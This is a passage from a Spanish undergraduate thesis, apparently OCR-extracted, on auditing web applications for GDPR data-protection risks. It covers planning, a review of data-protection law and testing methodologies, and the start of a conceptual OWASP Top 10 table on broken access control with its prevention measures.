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Resumen

La privacidad de las personas, particularmente en aplicaciones web, es un derecho fundamental
que viene regulado por varias normativas que protegen al individuo de situaciones en las que éste
pueda verse expuesto, por medio de una serie de normas o principios que deben cumplirse. Esto
implica que si algin aplicativo web no garantiza que cumple con la normativa y, por ende, no
protege de forma adecuada los datos de cardcter personal que maneje, puede conllevar sanciones
econdémicas considerablemente altas. Es por este motivo que surge este proyecto, cuya finalidad es
detectar y explotar mediante pruebas de auditoria web vulnerabilidades que conlleven situaciones
que supongan un riesgo del derecho a la protecciéon de datos. En primer lugar, incluye un breve
estudio de la normativa actual al mismo tiempo que uno relacionado a las metodologias de pruebas
y las vulnerabilidades que pueden estar presentes en un aplicativo web. En segundo lugar, una
seleccion o filtrado de las pruebas dependiendo de si pueden suponer el acceso a datos personales,
asi como una explicacién del desarrollo de éstas. En tercer lugar, el diseno de un escenario de
pruebas controlado para explotar las vulnerabilidades seleccionadas. En cuarto lugar, la ejecucién
de las pruebas sobre el entorno controlado junto a los resultados obtenidos. En quinto y tltimo
lugar, las conclusiones a las que se llega tanto con las pruebas como con el propio proyecto.






Abstract

The privacy of people, particularly in web applications, is a fundamental right that is regulated
by several regulations that protect the individual from situations in which he or she may be
exposed, through a series of regulations or that must be complied with. This implies that if any
web application does not guarantee that it complies with the regulations and, therefore, does not
adequately protect the personal data that it handles, it can lead to very hard economic sanctions.
It is for this reason that this project arises, whose purpose is to detect and exploit vulnerabilities
through web audit tests that lead to situations that pose a risk to the right to data protection. In the
first place, it includes a brief study of the current regulations at the same time as one related to the
testing methodologies and the vulnerabilities that may be present in a web application. Secondly, a
selection or filtering of the tests depending on whether they may lead to access to personal data, as
well as an explanation of the development of these. Third, the design of a control test scenario to
exploit the selected vulnerabilities. Fourth, the execution of the tests on the controlled environment
together with the results obtained. In fifth and last place, the conclusions reached both with the
tests and with the project itself.
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Capitulo 1

Introduccion

1.1. Contexto

Hoy en dia la cantidad de datos que manejan las aplicaciones web es muy alta y sigue en aumento.
Gran parte de estos datos son aquellos de caracter personal de los usuarios, que son recogidos
en muchas ocasiones con el desconocimiento por parte de éstos, como lo puede ser el aceptar
las cookies' en una pagina web[37]. Esta situacién conlleva que la mayor parte de las personas
puedan ser identificadas a partir de aquella informacién que almacenan las aplicaciones web. Sin
embargo, la regulacién sobre Proteccién de Datos, tanto a nivel europeo con el Reglamento General
de Proteccion de Datos (RGPD)[30], como nacional con la Ley Orgdnica 3/2018 de Proteccidon
de Datos Personales y Garantias de Derechos Digitales (LOPDPDG2018)[24], requiere que la
identidad de los sujetos se proteja, de modo que no sea posible identificar personas a partir de
datos publicos salvo en aquellos casos en que exista consentimiento expreso para ello por parte de
los interesados o exista interés legitimo.

No es suficiente con que los sitios web no muestren directamente al publico los datos de los usuarios
para proteger su privacidad debido a la presencia de una serie de vulnerabilidades que al ser
explotadas permiten el acceso a informacién privadal[7], por lo que serd necesario aplicar medidas
adicionales de seguridad|[25].

Existen organismos y organizaciones que brindan recomendaciones sobre el tratamiento de datos
en entornos web para que cumplan con las normativas indicadas, como lo son la Agencia Espariola
de Proteccion de Datos (AEPD) y la Junta Europea de Proteccién de Datos (EDPD - European
Data Protection Board)[4]. Por otro lado, existen una serie de metodologias que permiten explotar
vulnerabilidades web, de las cuales algunas pueden atentar en contra de la proteccién de datos,
como lo es el caso de El proyecto de seguridad de aplicaciones web abiertas (OWASP - The Open
Web Application Security Project).

El presente proyecto se ocupa de detectar situaciones de riesgo del derecho a la proteccion de datos
mediante auditoria web, y con ello buscar una forma de proteger estos datos aplicando una serie
de principios de seguridad, partiendo de las recomendaciones del RGPD.

1 Pequefios archivos de texto que se guardan en el navegador del usuario cuando visita una péagina web[18]
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CAPITULO 1. INTRODUCCION

1.2. Motivacion

La privacidad de los datos es un tema de suma importancia hoy en dia ya que con solo algunos
datos es posible identificar a un individuo. En base a las normativas de privacidad, la informacién
que se considera personal de un individuo que se use en un aplicativo web debe protegerse para
que no sea accesible por personas no autorizadas o posibles atacantes.

Pese a lo indicado en el parrafo anterior, en la actualidad se producen muchos delitos relacionados
con atentados en contra de la privacidad que involucran a una parte considerable de las empresas.
En base a un estudio de CISCOI9], entre 2015 y 2020, en el top 5 de delitos en internet aquellos
relacionados con la fuga de datos y robo de informaciéon ocupaban los puestos 4 y 5, respectivamente.
A esto se suma que gran parte de los delitos de extorsién y pishing requieren de acceso a datos
confidenciales que pueden contener algunos que se pueden considerar de cardcter personal.

Por otro lado, las auditorias web por lo general se ocupan de evaluar la seguridad del sistema en su
conjunto y se centra mas en los requisitos de seguridad establecidos. Si bien si que existen proyectos
de auditoria web en el que el objetivo es evaluar el riesgo de acceso no autorizado a datos de caracter
personal?, es dificil encontrar una metodologia de pruebas de seguridad web transparente exclusiva
a la deteccién y explotacién de vulnerabilidades que supongan un riesgo contra las normativas de
privacidad de datos.

La motivacién de este proyecto viene influida por los dos factores mencionados ya que aportan a
nivel personal, por un lado, conocimiento acerca de como se deben tratar los datos de carédcter
personal de acuerdo a normativas de proteccién de datos y, por otro lado, algunas de las formas
de explotar vulnerabilidades en paginas web por medio de metodologias de pruebas.

1.3. Objetivos

El objetivo principal del proyecto consiste en obtener un marco de auditoria de seguridad web para
detectar situaciones de riesgo en las que se vulnere el derecho a la proteccién de datos en aplicativos
web. A continuacion se definen los objetivos especificos:

= Obtener una variante de la auditoria de seguridad de aplicativos web de OWASP adaptada
a los requerimientos derivados del cumplimiento normativo en materia de privacidad.

= Conseguir un framework para la deteccién y explotacién de vulnerabilidades en aplicativos
web.

= Obtener un paquete de medidas de securizacién y proteccién de datos personales.

1.4. Organizacién del documento

= Capitulo 1. Introduccién: Una breve descripcién del proyecto en la que se indican los
aspectos fundamentales y objetivos.

= Capitulo 2. Planificacién del Proyecto: Todo lo referido a la planificacion inicial en horas
de trabajo por dias de la semana y las fechas previstas de finalizaciéon de tareas y del propio
proyecto. También incluye un plan de riesgos.

2ht:‘cps ://www.stockcrowd. com/resources/archivo/STOCKCROWD_FANRAISING_INFORME_CUMPLIMIENTO_
NORMATIVO.pdf
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CAPITULO 1. INTRODUCCION

= Capitulo 3. Estado del Arte: Una recopilacién de informacién del estado actual en lo que
respecta a normativas de proteccién de datos, metodologias de pruebas en paginas web y un
listado de vulnerabilidades perteneciente a la metodologia de OWASP.

= Capitulo 4. Diseno: Consta de una clasificacién de las pruebas dependiendo de si afectan
a la proteccién de datos de caracter personal, el diseno de un entorno para explotar las
vulnerabilidades web y el de las pruebas que se han lanzado contra una maquina virtual
perteneciente al entorno mencionado.

= Capitulo 5. Implementacién de un Entorno de Pruebas controlado: Aborda la insta-
lacién de los programas necesarios para la implementacién de una maquina virtual vulnerable
junto a la configuracién de red llevada a cabo.

= Capitulo 6. Pruebas en un entorno de controlado: Describe el proceso de lanzado de
pruebas y analisis de resultados para verificar que es posible acceder a datos sensibles por
medio de explotar vulnerabilidades web.

= Capitulo 7. Conclusiones: Una breve reflexiéon sobre los resultados obtenidos tanto en la
ejecucién de las pruebas como en el propio proyecto. También incluye una serie de mejoras
futuras que se podrian realizar para ampliar el alcance del proyecto.

= Anexo I. RGPD: Cita algunos de los articulos del RGPD relacionados con la proteccién
de datos.

= Anexo II. Herramientas para las pruebas sobre paginas web: Listado de algunas
herramientas con un enlace para la obtencién de las mismas para explotar vulnerabilidades
en paginas web.
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Capitulo 2

Planificaciéon del Proyecto

En este capitulo se describe la planificacién del proyecto, realizando un andlisis de sus caracteristi-
cas, eligiendo una metodologia para su desarrollo, estableciendo una planificacién inicial de las
tareas de alto nivel e identificando los riesgos que puedan surgir[5].

2.1. Caracteristicas del proyecto

El proyecto a desarrollar estd orientado a cumplir los objetivos listados en la seccién 1.3. A
diferencia de un desarrollo de software, la distincién entre las fases de desarrollo no es clara pero
tampoco inexistente. Estas se podrian resumir en las siguientes:

= Andlisis: En ésta estudia el estado actual relacionado con la normativa de proteccién de
datos, las metodologias de pruebas y vulnerabilidades web existentes.

= Diseno: Es en la etapa en la que seleccionan las pruebas que explotan vulnerabilidades web
que afectan a datos personales, las caracteristicas de un entorno de explotaciéon de vulnera-
bilidades y cémo se lanzan las pruebas.

= Implementacién: En particular, la implementaciéon de un entorno de pruebas controlado.
El desarrollo de esta etapa solo depende de su correspondiente diseno, con lo cual se puede
realizar en paralelo con el diseno de seleccion de pruebas y su lanzamiento.

= Pruebas: Es la fase en la que se lanzan las pruebas al servidor para la obtencion de resultados,
qué en el caso de este proyecto, es determinar si es posible acceder u obtener datos de caracter
personal por medio de explotar vulnerabilidades.

La tultima fase de este proyecto consiste en llevar a cabo un analisis de los resultados y proponer
una serie de medidas de securizacién para proteger los datos de caracter personal.

2.2. Metodologia empleada
Teniendo en cuenta las caracteristicas generales del proyecto, como lo es el hecho de estar orientado
a objetivos, se empleard una metodologia estructurada de modelo en espiral en el que se esta-

bleceran una serie de hitos o etapas con revisién por parte de los tutores. De esta forma, cada vez
que se consiga uno de los objetivos previstos, se realizard una revisién de los mismos y se podran
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realizar los cambios que hayan de considerarse. Una vez hecho esto, se podra pasar a la siguiente
etapa.

Lo descrito en el parrafo anterior se corresponderia a un modelo en cascada. Lo que diferenciard de
ésta la metodologia del proyecto es que si a posteriori hay un cambio en algunos de los objetivos,
se podran realizar las modificaciones necesarias en todas las partes que puedan verse afectadas.
Esto se haria siguiendo un bucle en espiral en el que se entrard en mayor detalle segin se avanza
en el desarrollo del proyecto.

2.3. Planificacion Inicial

El desarrollo del proyecto se llevard a cabo en un total de 300 horas distribuidas desde el dia 14 de
febrero de 2022 hasta el 6 junio de 2022. La distribucién inicial de horas durante la semana es la
siguiente:

Dias Horario Total de horas
Lunes 19:00 - 21:00 2
Martes 19:00 - 21:00 2
Miércoles | 19:00 - 21:00 2
Jueves 18:00 - 21:00 3
Viernes 18:00 - 21:00 3
Sabado 10:00 - 13:00 3
Domingo | 10:00 - 13:00 3
TOTAL — 18 horas/semana

Tabla 2.1: Distribucién de horas de trabajo a lo largo de la semana

La tdnica semana que no cumple esta planificacion es la ultima que no incluye sdbado y domingo
pero que quedan como dos dias de margen para dar por completado el proyecto.

Teniendo en cuenta la cantidad de horas de trabajo establecidas, se estiman las fechas de cumpli-
miento de objetivos que se muestran en la figura 2.1. En ella se indican el conjunto de tareas con
sus correspondientes subtareas incluyendo una estimacion para cada una de ellas. La herramienta
empleada para organizar el conjunto de tareas mostradas en la figura es Microsoft Project[12].
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March 2022 April 2022
Task Name =|| 1114 17 20 23 26 1 4 [T 10 1316 19 22 25 28 3 |3 6 9 1215 18 2
1 Realizacion de la planificacion i 1
4 2 Listar y describir todas las vulnerabilidades que puedan provocar la fuga de datos personales I
2.1 Leer documentaciGn proporcionada i

2.2 Incluir en el documento aquellas vulnerabilidades relacionadas con la fuga de datos
personales

2.3 Listar Vulnerabilidades completado
4 3 Disefiar e implementar un entorno de pruebas usando maquinas virtuales
3.1 Leer documentacion sobre cdmo montar y configurar el entorno
3.2 Montar el entorno de pruebas
3.3 Configurar el entorno de pruebas
3.4 Documentar el proceso de montado y configuracidn
3.5 Implementar entorno completado
4 4 Establecer el disefio de una metodologia basada en pruebas de OWASP
4.1 Leer documentacion sobre métodologias de pruebas de OWASP
4.2 Aplicar la metodologia al entorna de pruebas

4.3 Documentar el proceso de aplicacién de la metodologia

4.4 Establecer Metodologia de pruebas completado

June 2022
9 12 15 18 21 24 27 30 2 5 8

Task Name - 12 15 18 21 24 27

4 5 Detectar las vulnerabilidades y explotar la vulnerabilidades presentes en el entorno de
pruebas para obtener datos de caracter personal
5.1 Investigar el proceso de explotacion de cada una de las vulnearbilidades
5.2 Ejecutar los programas necesarios para explotar las vulnerabilidades
5.3 Documentar todo el proceso de deteccidn y explotacion de vulnearbilidades
5.4 Detectar y explotar vulnerabilidades completado
4 6 Establecer un nivel de criticidad de las vul bilidades explotad,

6.1 Realizar una clasificacion en niveles de criticidad a partir del nimero de operaciones
para identificar a una persona

6.2 Estimar el ndmero de operaciones minimas necesarias para identificar a la persona a
partir de los datos obtenidos

6.3 Clasificar las vulnerabilidades detectadas
6.4 Cuantificar vulnerabilidades completado
4 7 Proponer y/o aplicar medidas de securizaci6n para los datos personales obtenidos
7.1 Investigar sobre las medidas de securizacion que se pueden aplicar a cada vulnerabilidad

7.2 Documentar las medidas de securizacidn que se pueden aplicar a las vulnerabilidades
encontradas

7.3 Aplicar las medidas de securizacidn en los entornos gue sean posibles

7.4 Proponer y aplicar medidas de securizacion completado

8 Fin del proyecto

Figura 2.1: Planificacion de las tareas del proyecto

Partiendo de esta figura, los principales hitos del proyecto junto a las correspondientes fechas
quedarfan de la siguiente forma:

Hito Fecha
Tener una lista completa de vulnerabilidades 04/04/2022
Conseguir un diseno e implementacién de un entorno de pruebas controlado | 11/04/2022
Establecer un diseno de metodologias de pruebas de pruebas de OWASP 18/04/2022

Detectar y explotar vulnerabilidades en el entorno de pruebas 02/05/2022
Establecer un nivel de criticidad de las vulnerabilidades explotadas 09/05/2022
Proponer medidas de securizacién para la proteccién de datos 16,/05/2022

Fin del proyecto 06/06/2022

Tabla 2.2: Hitos del proyecto con las correspondientes fechas

Tanto en la figura como en la tabla anterior, se pueden observar cada una de las tareas que se
deben realizar a lo largo del desarrollo del proyecto junto al diagrama de Gantt que muestra la
distribucién de éstas a lo largo del tiempo. Se observa que por lo general cada tarea principal se
lleva a cabo en una o dos semanas salvo para las primeras dos tareas, cuya duracién es superior al
resto debido a la necesidad de estudiar las caracteristicas del proyecto junto a los desarrollos que
se deben llevar a cabo en éste.
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Entre la dltima tarea y el final del proyecto, se ha dado un margen de tres semana para prever
los posibles riesgos que puedan afectar al desarrollo del proyecto. En la siguiente seccién se descri-
birdn y se les asignard un valor a cada uno de los riesgos que puedan producirse, considerando su
probabilidad de aparicién y el impacto que tendrian.

2.4. Riesgos

En esta seccion se realizard el plan de riesgos que puedan afectar a la planificacién del proyecto.
Para ello, se identificaran los riesgos en cuestion y se realizara una caracterizacion de éstos en base
a su probabilidad e impacto. Si se les da una escala del 1 al 4 a ambos valores, se puede crear una
matriz de riesgos en la que se reflejaria el dano que provocaria en la planificacién en el proyecto.
Ejemplo de una matriz de riesgos es la que se muestra a continuacién:

Alta Significativo

Significativa | Significativo

OrO=r=EFrPEOITT

Significativo | Significatico

Moderado | Significativo Alto

IMPACTO

Figura 2.2: Matriz de riesgos (obtenida del libro Software Project Management 5% edicidn)

Se dard mayor prioridad a un riegos cuanto mas se acerque a la esquina superior derecha de la
matriz.

Una vez establecida una forma de clasificar los riesgos, lo siguiente es identificarlos. Para ello se han
tomado en cuenta factores tanto internos como externos del alumno. A continuacién se muestran
los identificados hasta la fecha:

Ne Riesgo Probabilidad | Impacto Dano
1 Estimacién de trabajo inferior a la real 3 2 Moderado
2 Incumplimiento de horarios de trabajo 2 1 Bajo
3 Danos en el ordenador personal 1 2 Bajo
4 Incumplimiento de alguno de los plazos 1 4 Moderado
5 Bloqueo al llevar a la practica los objetivos 2 3 Moderado
6 Modificacién de alguno de los objetivos 2 3 Moderado
7 | No montar de forma adecuada un entorno de pruebas 1 4 Moderado
8 No detectar todas las vulnerabilidades 2 4 Moderado
9 Fecha de finalizacién posterior a la prevista 3 4 Alto
10 No estar disponible a lo largo del proyecto 2 4 Moderado

Tabla 2.3: Analisis de los riesgos del plan del proyecto
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Identificados los riesgos, hay cuatro posibles acciones que se pueden realizar sobre él: aceptario.
evitarlo, reducirlo y mitigarlo, o transferirlo. En su mayor parte, los riesgos que pueden afectar a
la planificaciéon no tienen un forma de transferirse a otro ambito ya que todas las tareas forman
parte del camino critico. Por tanto, se optard como primera medida evitarlo, y en segunda instan-
cia reducir la probabilidad y minimizar el impacto de cada uno de los riesgos. En caso de no ser
posible, se aceptard su existencia, asumiendo un retraso en la finalizacién del proyecto.

Entrando en detalle en cada uno de los riesgos, en la tabla se indicardn las acciones a realizar para
cada uno de ellos.

o

Accién a realizar ante el riesgo

Preguntar a los tutores y acelerar la realizacién de otras tareas.

Realizar el desarrollo del proyecto con més horas de las previstas.

Hacer copias de seguridad en dispositivos externos y en la nube.

Realizar horas extras de trabajo.

Pedir ayuda a ambos tutores.

Fijar bien los objetivos con los tutores al principio del proyecto.

\ICT:OWJkOJl\DHZ

Revisar a fondo la documentacién y realizar las pruebas para asegurar que esta bien mon-
tado.

oo

Asegurarse de realizar correctamente las pruebas para explotar las vulnerabilidades.

NeJ

Realizar la entrega y defensa en una fecha posterior.

10

Emplear més horas de las establecidas cuando se prevean problemas con la disponibilidad.

Tabla 2.4: Plan de actuacién ante cada uno de los riesgos

A continuacion se realiza una descripcion detallada de los riesgos y de las acciones a realizar para
cada uno de ellos:

1.

Hay poca practica en cuanto a las acciones a realizar sobre el entorno de pruebas, con lo cual
existe la posibilidad de que el tiempo estimado esté alejado de la realidad. Para evitar esto,
se acelerardn otras actividades y, si fuese necesario, se emplearian horas extras de trabajo
con el fin de mantener la fecha de cumplimiento del objetivo.

Junto a la realizacién del proyecto hay otras actividades universitarias que el estudiante debe
realizar al mismo tiempo. Esto puede provocar que haya ocasiones en las que se deban emplear
las horas previstas de trabajo en dichas actividades. Se buscara que el desarrollo del proyecto
no se vea afectado realizando horas de trabajo fuera del horario establecido que compensen
la situacion.

Qué el ordenador personal sufra danos afectaria de forma considerable al desarrollo del pro-
yecto. No obstante, es poco probable y en caso de producirse se mitigara realizando copias
de seguridad que se almacenaran en dispositivos externos y en la nube.

Ya sea, o bien por una mala estimacién, o bien por carga de trabajo externa, si se prevé
que se ha de incumplir la fecha de cumplimiento de objetivo, se emplearan horas extras de
trabajo con las que se consiga llegar al plazo definido.

Como ya se ha mencionado en el primer riesgo, el alumno tendrd que experimentar con
técnicas poco puestas en practica. Si se producen bloqueos, se pedird ayuda a ambos tutores.

En la planificacién del proyecto se han definido los objetivos a cumplir. Realizar modificacio-
nes sobre ellos en las primeras etapas no supondria muchos problemas; sin embargo, hacerlo
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10.

casi al final del proyecto podria provocar, en el peor de los casos, tener que repetir todo el
desarrollo de éste.

Es fundamental montar y configurar de forma adecuada el entorno de pruebas para compro-
bar la existencia de vulnerabilidades que afectan a datos personales. No hacerlo impediria el
avance en el proyecto, por ello, hay que asegurarse de que esta tarea se ha realizado correc-
tamente.

Al igual que el riesgo anterior, se deben detectar las vulnerabilidades para demostrar que
con el marco de pruebas se pueden explotar vulnerabilidades para obtener el acceso a datos
personales. Un caso particular del riesgo anterior pero sin consecuencias inmediatas graves.
Pese a ello, no serd admisible que se produzcan fallos al detectar vulnerabilidades si se quiere
considerar el proyecto como exitoso.

Si la fecha de finalizacion real es posterior a la prevista hasta tal punto que no se puede pre-
sentar en convocatoria ordinaria, se realizara la entrega y defensa del proyecto en convocatoria
extraordinaria.

Como se ha comentado en el segundo riesgo, la disponibilidad a lo largo del desarrollo del
proyecto se ve influenciada por la presencia de otras actividades universitarias que se realizan
en paralelo. La situacion se puede agravar principalmente en fechas préximas a otras entregas
0 examenes. Se hard uso de mas horas de trabajo las semanas anteriores y posteriores a
aquellas en las que se pueda dar una situacién del estilo.
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Capitulo 3

Estado del Arte

En el presente capitulo se lleva a cabo un anélisis de los requisitos de privacidad que deben cumplirse
en los aplicativos web, indicando las leyes que los rigen, asi como una serie de principios de seguridad
recomendados por éstas con el fin de proteger los datos personales. Relacionado con este tema, se
realiza una breve descripcién de las metodologias de auditoria web mas utilizadas hoy en dia y
cémo con ellas se pueden detectar situaciones de riesgo en las que se pueda atentar en contra de
los requisitos de privacidad requeridos por las leyes que rigen la proteccién de datos personales.

3.1. Normativa de proteccion de datos: RGPD y LOPDPDG2018

Hoy en dia son dos las leyes que regulan la proteccién de datos: el Reglamento General de Proteccion
de Datos (RGPD), cuyo alcance es a nivel europeo y Ley Orgdnica 3/2018 de Proteccién de Datos
Personales y Garantias de Derechos Digitales (LOPDPDG2018), que afecta a nivel nacional y
cuyo objetivo es adaptar la legislacién espafiola a la normativa europeal3].

Haciendo un anélisis centrado en el RGPD, éste incluye una definicién de datos personales, supues-
tos en los que se legitima el tratamiento de datos y una serie de principios técnicos de proteccién
de datos. Estos 3 elementos son relevantes para el presente proyecto, cuyo objetivo es detectar y
explotar mediante auditoria de seguridad web vulnerabilidades que puedan suponer un riesgo al
derecho de proteccién de los datos de cardcter personal y proponer medidas de securizacién para
evitar este tipo de situaciones, ya que se deben establecer:

= Los datos de una persona que se consideran personales, con el fin de poder identificarlos en
caso de obtenerlos cuando se explota una vulnerabilidad.

= Como se deben proteger los datos personales, y con ello proponer medidas de securizacién
que eviten situaciones de riesgo ante el derecho de proteccién de los datos sensibles de un
individuo.

= Con qué datos puede trabajar una aplicacion web, para de esta forma saber si se estd haciendo
un uso adecuado de los datos que recogidos y almacenados.

En las siguientes secciones se describen en detalle cada uno de estos aspectos.
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3.1.1. Datos de caracter personal

Partiendo de la definicién de dato personal segin el RPGD, es todo aquel que permita obtener,
directa o indirectamente, la identidad de una persona[l17]. Con esto, se pueden considerar como
datos personales los siguientes:

= DNI, NUSS y pasaporte.

= Nombre completo (Nombre + Apellidos).

= Direccidn fisica, ubicacion y direccion IP.

= Numero de teléfono y correo electrénico.

= Numero de cuenta bancaria y tarjetas de crédito o débito.

= Datos biométricos, como una imagen fotogréfica del individuo o su huella dactilar.
= Firmas y certificados electrénicos.

= Datos médicos.

= Elementos propios: caracteristicas fisicas, fisiologicas, genéticas, psiquicas, econémicas, cul-
turales o sociales.

» Seudénimos.

= Matricula de coche u otros vehiculos.

3.1.2. Principios de proteccion de datos

El RGPD establece 7 principios de proteccién de datos si se procesan datos. Dentro de un entorno
software, estos principios afectan a las fases tempranas del desarrollo, principalmente al diseno en
lo que se conoce como Proteccion de datos desde el diseno y por defecto. Para evitar la exposicién
de datos sensibles se deben tener en cuenta los siguientes principios:

= Minimizacién de datos: Solo se deben recopilar aquellos que sean estrictamente necesarios.

= Limitacién de almacenamiento: Los datos deben almacenarse solo durante el tiempo que
sean necesarios.

= Integridad y confidencialidad: Los datos que se almacenen deben protegerse de manera
que garantice la seguridad, integridad y confidencialidad adecuadas mediante técnicas de
cifrado y anonimizacién.

Este ultimo punto adquiere mas relevancia con el hecho de que, si los datos estan cifrados, serfan
inutiles para un atacante que violente la seguridad sobre éstos, con lo cual se podrian evitar
sanciones al haber aplicado medidas de proteccién sobre los datos.

3.1.3. Cuando de pueden procesar datos

El RGPD establece una serie de casos en los que es legal procesar datos personales, haciendo que
solo sea posible justificar la recopilacion, almacenamiento y procesamiento de éstos si se encuentra
en uno de los casos enumerados.

Con lo mencionado, si una aplicaciéon web hace uso de datos en situaciones que no sean las estable-
cidas por el RGPD, estaria violentando el derecho de proteccién de datos con lo cual este aspecto
también debe contemplarse a la hora de llevar a cabo la auditoria web.
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3.2. Metodologias de pruebas de auditorias web

Para detectar las situaciones en las que se ponga en riesgo el derecho a la privacidad de datos en
una aplicacién, es necesario llevar a cabo un anélisis y pruebas sobre ésta. Lanzar pruebas no es una
tarea trivial, se debe hacer siguiendo un plan o una metodologia. Hoy en dia, existen metodologias
aprobadas por la industria y que se consideran estandares. En esta seccién se realiza un breve
estudio de las metodologias de pruebas de auditoria web mdas populares en la actualidad[33].

3.2.1. OWASP

El Proyecto Abierto de Seguridad de Aplicaciones Web (OWASP, The Open Web Application
Security Project) es una fundacién sin fines de lucro que cuenta con proyectos de cédigo abierto en
los que se incluye una metodologia de pruebas que se aplica sobre sitios web y API. Cuenta con
una documentacién que incluye:

= OWASP TOP 10: Un documento de concienciacion estandar dirigido a desarrolladores, en
el que se identifican los riesgos de seguridad mads criticos para las aplicaciones web. La lista
se publicé por primera vez en el afio 2003 y a dia de hoy se actualiza cada 4 afios[53].

= Guia de Pruebas OWASP: Establece una metodologia de pruebas para evaluar la seguri-
dad de una aplicacién web.

OWASP también ofrece una serie de recomendaciones para desarrolladores para hacer el cédigo
seguro y confiable. Por este motivo y por el hecho de poseer una lista de vulnerabilidades asi como
una guia de pruebas en una metodologia bastante completa, es la que se ha elegido para la parte
de auditoria de seguridad web en el presente proyecto. En la seccién 3.3 se comenta mas en detalle
la metodologia OWASP.

3.2.2. OSSTMM

El Manual de Metodologia de Pruebas de Seguridad de Cédigo Abierto (OSSTMM, The Open
Source Security Testing Methodology Manual)[23], desarrollado por el Instituto de Seguridad y Me-
todologias Abiertas (ISECOM), ofrece un plan de pruebas detallado junto a métricas para evaluar
el nivel de seguridad actual[23]. En su documentacién divide las pruebas en 5 canales principales
con el fin de facilitar las mismas y permitir a los evaluadores medir el nivel de seguridad de la apli-
cacion web: sequridad humana, sequridad fisica, comunicaciones inaldmbricas, telecomunicaciones
y redes de datos.

3.2.3. NISTSP800-115

El estandar de seguridad de la informacion desarrollado por el Instituto Nacional de Estandares
y Tecnologia (NIST), NIST Special Publications 800 Series[60], describe el procedimiento general
de pruebas sobre aplicativos web y aspectos técnicos de evaluacién del nivel de seguridad de la
informacién de una empresa. Proporciona también recomendaciones para analizar los resultados
de las pruebas y desarrollar medidas para reducir los riesgos que atenten contra la seguridad.
Algunas de los elementos presentes en la documentacién del NIST son las siguientes:

= Métodos de inspeccién de documentos, registros, conjuntos de reglas y configuraciones del sis-
tema, rastreos de la red, verificacion de la integridad de los archivos, descifrado de contrasenas
e ingenieria social.

= Coordinacién, procesamiento de datos, andlisis y evaluacion de la seguridad.
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= Recomendaciones para reducir riesgos, crear el informe de evaluacién y corregir vulnerabili-
dades.

3.2.4. ISSAF

El Marco de Evaluacién de la Seguridad del Sistema de Informacién (ISSAF, The Information
System Security Assessment Framework) es un marco creado por el Grupo Abierto de Seguridad
de los Sistemas de Informacién (OISSG) que categoriza la evaluacién de la seguridad del sistema
de informacién en varios dominios y detalles de evaluacién especifica o criterios de prueba para
cada uno de estos dominios[56]. Organiza la informacién en criterios de evaluacién bien definidos,
cada uno de los cuales ha sido revisado por expertos en la materia en ese dominio. Estos criterios
de evaluacion incluyen:

= Una descripcién de los criterios de evaluacion.

= Sus propoésitos y objetivos.

= Los requisitos previos para realizar las evaluaciones.
= El proceso para la evaluacién.

= Muestra de los resultados esperados.

= Contra medidas recomendadas.

» Referencias a documentos externos.

3.2.5. PTES

El estdandar de ejecucién de pruebas de penetraciéon (PTES, The Penetration Testing Execution
Standard)[68] incluye una gufa sobre cémo realizar pruebas de seguimiento posteriores a la ex-
plotacién y consta de 7 secciones principales que cubren todo lo relacionado con las pruebas de
penetracion:

= Interacciones previas al compromiso
= La recogida de informacién

= Modelado de amenazas

= Andlisis de vulnerabilidad

= Explotacién

= Publicar explotacion

» Informes

3.3. Metodologia OWASP

Como se ha mencionado en la seccién anterior, OWASP es una fundacién que trabaja para mejorar
la seguridad del software y que aporta documentacion sobre las vulnerabilidad més populares en
las paginas web, una guia de pruebas para evaluar la seguridad y una serie de recomendaciones
para hacer el desarrollo de software més fiable y seguro. Las vulnerabilidades y las recomendaciones
aparecen en conjunto en uno de los principales proyectos OWASP, el OWASP top 10[53]; mientras
que la gufa de pruebas cuenta con varias versiones, la més reciente la del afio 2022, WTG-V/2[51].
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3.3.1. OWASP Top 10

En el OWASP Top 10 se listan por categorias aquellas vulnerabilidades més populares con el fin
de concienciar a desarrolladores de llevar a cabo un desarrollo de aplicaciones web seguras. Esta
lista fue publicada por primera vez en 2003 y se ha ido actualizando con el paso de los anos. A dia
de hoy, la lista se actualiza cada 4 anos aunque no ha sido asi desde el principio, con esto los anos
en los que se han publicado las listas son los siguientes: 2003, 2004, 2007, 2010, 2013, 2017 y 2021.

En cada afio se revisan las vulnerabilidades del anterior y se modifica la lista anadiendo, sustitu-
yendo y cambiando el orden de las vulnerabilidades. La versién maés reciente, OWASP Top 10 -
2021, agrupa la mayor parte de las vulnerabilidades que se pueden encontrar en una aplicacién
web, con lo cual se puede considerar como una lista consistente que pueda usarse como referencia
a la hora de evaluar la seguridad de una aplicacién web.

A continuacién se listan por medio de tablas las vulnerabilidades presentes en el OWASP Top
10 - 2021[53], agrupadas siguiendo las categorias establecidas por la propia fundacién OWASP.
Para cada una de las vulnerabilidades se muestran recomendaciones que sirven como una primera
aproximacion para las medidas de securizacién que se proponen al final de este documento.

Control de Acceso Roto

El control de acceso aplica una politica para delimitar los permisos que los usuarios tienen sobre
un determinado sistema. Este solo es efectivo en el cédigo del lado del servidor confiable o API
sin servidor, donde un posible atacante no puede modificar la verificacion de control de acceso
o los metadatos. Una mala aplicacién en las politicas conllevaria a otorgar a usuarios privilegios
por encima de los que deberian tener, lo cual aumenta el riego de que éstos realicen acciones que
comprometan la seguridad del sistemal[45].

(Coémo se produce? {Coémo prevenirla?

No se aplica el principio de privilegio minimo | Denegar por defecto, excepto para los recursos
o denegacién por defecto, con lo que el acceso | publicos.

esta disponible para cualquiera.
Se eluden las comprobaciones de control de ac- | Implementar mecanismos de control de acceso
ceso cuando se modifica la URL, el estado de la | una vez y reutilizarlos en toda la aplicacién.
aplicacion o la pagina HTML, o se usan herra-
mientas de ataque que modifican las solicitudes

de la API.
Permitir ver o editar la cuenta de otra persona, | Delimitar que el usuario pueda realizar accio-
al proporcionar su identificador tnico. nes cualquier registro imponiendo los permisos

sobre éstos mediante los controles de acceso.
No realizar el control de acceso para las peti- | Llevar a cabo el control pertinente.

ciones de tipo POST, PUT y DELETE.
Se elevan los privilegios de usuario normal a | Registrar los fallos de control de acceso y aler-
uno autenticado o de éste a administrador. tar a los administradores acerca de comporta-
mientos inadecuados. Establecer un limite en
la tasa de peticiones para minimizar el dano
de las herramientas de ataque automatizado.
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(Coémo se produce?

;Coémo prevenirla?

Se manipulan metadatos, como una cookie, un
campo oculto de elevacién de privilegios o el
token de control de acceso JWT (JSON Web
Token)[36].

Deshabilitar los directorios del servidor web y
quitar los metadatos de archivos y copias de se-
guridad del directorio raiz. Invalidar los identi-
ficadores de sesién con estado una vez el usua-
